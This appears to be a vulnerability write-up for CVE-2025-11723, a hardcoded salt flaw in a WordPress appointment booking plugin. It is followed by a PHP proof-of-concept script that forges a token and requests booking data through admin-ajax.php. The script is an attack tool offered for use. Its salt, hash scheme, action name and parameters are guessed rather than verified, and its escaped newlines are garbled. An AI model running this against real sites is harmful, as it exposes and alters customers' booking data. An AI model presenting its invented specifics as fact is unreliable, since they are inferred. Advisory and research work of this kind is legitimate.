Atomic Edge analysis of CVE-2025-11723 (metadata-based):
This vulnerability is an unauthenticated sensitive information exposure in the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress, affecting versions up to and including 1.6.9.5. The flaw allows attackers to generate valid authentication tokens across multiple sites, enabling unauthorized access to and modification of booking data. The CVSS score of 6.5 (Medium) reflects its network-based attack vector and low attack complexity.
Atomic Edge research identifies the root cause as CWE-330: Use of Insufficiently Random Values. The plugin’s hash() function uses a hardcoded fallback salt when no custom salt is defined in the site’s wp-config.php file. This static salt creates predictable token generation. The vulnerability description confirms this mechanism, though the exact code location is inferred from the CWE classification and typical WordPress plugin patterns. The plugin likely uses these tokens for authorization in AJAX endpoints or REST API routes.
Exploitation requires an attacker to generate a valid token using the known hardcoded salt. The attacker would then send this token to plugin endpoints that handle booking data. Based on WordPress plugin conventions, the likely attack vector is the admin-ajax.php endpoint with an action parameter containing the plugin slug, such as simply_schedule_appointments_get_bookings. The attacker would include the generated token as a parameter like hash or token. A successful request would return sensitive booking information, which could then be modified via subsequent requests to update endpoints.
The remediation likely involves removing the hardcoded fallback salt and requiring a site-specific salt defined in wp-config.php. The patched version 1.6.9.6 probably implements proper random value generation using WordPress core functions like wp_hash() or wp_salt(). The fix ensures each site uses a unique, unpredictable salt for token generation, preventing cross-site token reuse.
Successful exploitation allows unauthenticated attackers to view all booking information stored by the plugin, including customer details, appointment times, and service types. Attackers can also modify existing bookings, potentially causing business disruption, data integrity issues, and privacy violations. The impact is limited to confidentiality and integrity (C:L/I:L) with no availability effect, as the vulnerability does not permit denial of service or remote code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-11723 - Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.9.5 - Unauthenticated Sensitive Information Exposure
<?php
/**
* Proof of Concept for CVE-2025-11723
* This script demonstrates token generation using the hardcoded salt
* and attempts to access booking data via the likely AJAX endpoint.
* Assumptions based on WordPress plugin patterns:
* 1. The plugin uses admin-ajax.php for data retrieval
* 2. The action parameter includes the plugin slug
* 3. A 'hash' or 'token' parameter validates requests
* 4. The hardcoded salt is predictable/reusable
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
// Simulate the vulnerable hash generation with hardcoded salt
// The exact algorithm is inferred from CWE-330 and description
function generate_vulnerable_token($data) {
// This represents the plugin's hardcoded fallback salt
$hardcoded_salt = 'simply_schedule_appointments_fallback_salt';
// The plugin likely combines data with salt before hashing
$combined = $data . $hardcoded_salt;
// Common WordPress hash function usage
return md5($combined); // or possibly sha1, hash('sha256', ...)
}
// Generate token for current date to match likely plugin validation
$token_data = date('Y-m-d'); // Plugin may use date-based tokens
$generated_token = generate_vulnerable_token($token_data);
echo "[+] Target: $target_urln";
echo "[+] Generated token: $generated_tokenn";
echo "[+] Attempting to access booking data...nn";
// Construct the AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'simply_schedule_appointments_get_bookings', // Inferred action name
'token' => $generated_token, // Inferred parameter name
'start_date' => date('Y-m-01'), // Common booking parameter
'end_date' => date('Y-m-t')
];
// Send request using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// Check for successful data retrieval
if ($http_code == 200 && !empty($response)) {
$json_response = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "n[SUCCESS] Potentially retrieved booking data.n";
echo "Sample data structure:n";
print_r(array_slice($json_response, 0, 2)); // Show first 2 entries
} else {
echo "n[INFO] Received non-JSON response (may be HTML error).n";
}
} else {
echo "n[FAILURE] No data retrieved. Possible reasons:n";
echo "- Site uses custom salt in wp-config.phpn";
echo "- Incorrect endpoint/parameter names inferredn";
echo "- Plugin is patched or not installedn";
}
?>